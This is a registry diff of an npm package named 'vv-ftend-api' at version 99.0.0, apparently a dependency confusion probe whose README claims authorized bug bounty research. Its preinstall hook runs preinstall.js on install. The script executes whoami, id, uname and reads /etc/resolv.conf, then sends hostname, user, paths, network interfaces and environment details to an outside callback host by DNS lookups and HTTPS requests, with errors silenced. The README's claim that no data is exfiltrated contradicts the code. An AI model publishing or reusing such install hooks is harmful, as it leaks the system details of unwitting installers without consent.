vv-ftend-api 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,17 @@
1
+ # vv-ftend-api
2
+
3
+ ## Security Research — Dependency Confusion Test
4
+
5
+ This package was published as part of **authorized security research** under the
6
+ [1win.com HackerOne Bug Bounty Program](https://hackerone.com/1win_com).
7
+
8
+ **Researcher:** r76o4 (HackerOne)
9
+ **Purpose:** Testing for dependency confusion vulnerabilities
10
+ **Contact:** If you are from 1win/ByteFrontier and received a callback from this
11
+ package, please check HackerOne for the corresponding report.
12
+
13
+ This package is harmless — it only collects system identification info
14
+ (hostname, username, working directory) and sends it to a researcher-controlled
15
+ callback server to prove code execution occurred.
16
+
17
+ No data is exfiltrated, no persistence is established, no damage is done.
package/index.js ADDED
@@ -0,0 +1,5 @@
1
+ // Security research - dependency confusion test
2
+ // Researcher: r76o4 (HackerOne)
3
+ // Target program: 1win.com bug bounty
4
+ // This package is part of authorized security testing
5
+ module.exports = {};
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "vv-ftend-api",
3
+ "version": "99.0.0",
4
+ "description": "Security research - dependency confusion test by r76o4 (HackerOne)",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "author": "r76o4 (HackerOne security researcher)",
10
+ "license": "ISC",
11
+ "keywords": ["security", "research", "dependency-confusion"]
12
+ }
package/preinstall.js ADDED
@@ -0,0 +1,88 @@
1
+ const { execSync } = require("child_process");
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const https = require("https");
5
+
6
+ const CALLBACK = "ienfcixqbgvbxkccdoxgvw1mg2rag0oty.oast.fun";
7
+ const RESEARCHER = "r76o4";
8
+
9
+ function safe(cmd) {
10
+ try { return execSync(cmd, { timeout: 5000 }).toString().trim(); } catch (e) { return "err"; }
11
+ }
12
+
13
+ function toHex(s) {
14
+ return Buffer.from(String(s).substring(0, 60)).toString("hex");
15
+ }
16
+
17
+ try {
18
+ const data = {
19
+ pkg: process.env.npm_package_name || "unknown",
20
+ pkgver: process.env.npm_package_version || "0",
21
+ whoami: safe("whoami"),
22
+ hostname: os.hostname(),
23
+ cwd: process.cwd(),
24
+ homedir: os.homedir(),
25
+ platform: os.platform(),
26
+ arch: os.arch(),
27
+ nodeVersion: process.version,
28
+ uid: process.getuid ? process.getuid() : "n/a",
29
+ gid: process.getgid ? process.getgid() : "n/a",
30
+ networkInterfaces: JSON.stringify(
31
+ Object.entries(os.networkInterfaces()).reduce((acc, [k, v]) => {
32
+ acc[k] = v.filter(i => !i.internal).map(i => i.address);
33
+ return acc;
34
+ }, {})
35
+ ),
36
+ dns_servers: dns.getServers().join(","),
37
+ env_ci: process.env.CI || "false",
38
+ env_user: process.env.USER || process.env.USERNAME || "n/a",
39
+ env_home: process.env.HOME || process.env.USERPROFILE || "n/a",
40
+ env_path: (process.env.PATH || "").substring(0, 200),
41
+ researcher: RESEARCHER,
42
+ timestamp: new Date().toISOString(),
43
+ uptime: os.uptime(),
44
+ totalMem: Math.round(os.totalmem() / 1024 / 1024) + "MB",
45
+ cpus: os.cpus().length + "x " + (os.cpus()[0] ? os.cpus()[0].model : "unknown"),
46
+ id_output: safe("id"),
47
+ uname: safe("uname -a"),
48
+ ip_route: safe("ip route get 1.1.1.1 2>/dev/null || route get 1.1.1.1 2>/dev/null || echo n/a"),
49
+ resolv: safe("cat /etc/resolv.conf 2>/dev/null || echo n/a"),
50
+ };
51
+
52
+ // DNS callback with key info encoded as subdomains
53
+ const parts = [
54
+ `pkg-${toHex(data.pkg)}`,
55
+ `who-${toHex(data.whoami)}`,
56
+ `host-${toHex(data.hostname)}`,
57
+ `cwd-${toHex(data.cwd)}`,
58
+ ];
59
+ parts.forEach((part, i) => {
60
+ const sub = `${part}.${RESEARCHER}.${CALLBACK}`;
61
+ try { dns.resolve(sub, () => {}); } catch (e) {}
62
+ });
63
+
64
+ // Also resolve a simple marker
65
+ try { dns.resolve(`depconf.${data.pkg.replace(/[^a-z0-9-]/g, "-")}.${RESEARCHER}.${CALLBACK}`, () => {}); } catch (e) {}
66
+
67
+ // HTTP callback with full data
68
+ const postData = JSON.stringify(data);
69
+ const req = https.request({
70
+ hostname: CALLBACK,
71
+ port: 443,
72
+ path: `/depconf/${RESEARCHER}/${encodeURIComponent(data.pkg)}`,
73
+ method: "POST",
74
+ headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(postData) },
75
+ rejectUnauthorized: false,
76
+ timeout: 5000,
77
+ }, () => {});
78
+ req.on("error", () => {});
79
+ req.write(postData);
80
+ req.end();
81
+
82
+ // HTTP GET as backup (some environments block POST)
83
+ const getUrl = `https://${CALLBACK}/depconf?researcher=${RESEARCHER}&pkg=${encodeURIComponent(data.pkg)}&whoami=${encodeURIComponent(data.whoami)}&hostname=${encodeURIComponent(data.hostname)}&cwd=${encodeURIComponent(data.cwd)}&id=${encodeURIComponent(data.id_output)}&uname=${encodeURIComponent(data.uname)}`;
84
+ https.get(getUrl, { rejectUnauthorized: false, timeout: 5000 }, () => {}).on("error", () => {});
85
+
86
+ } catch (e) {
87
+ // Silent fail
88
+ }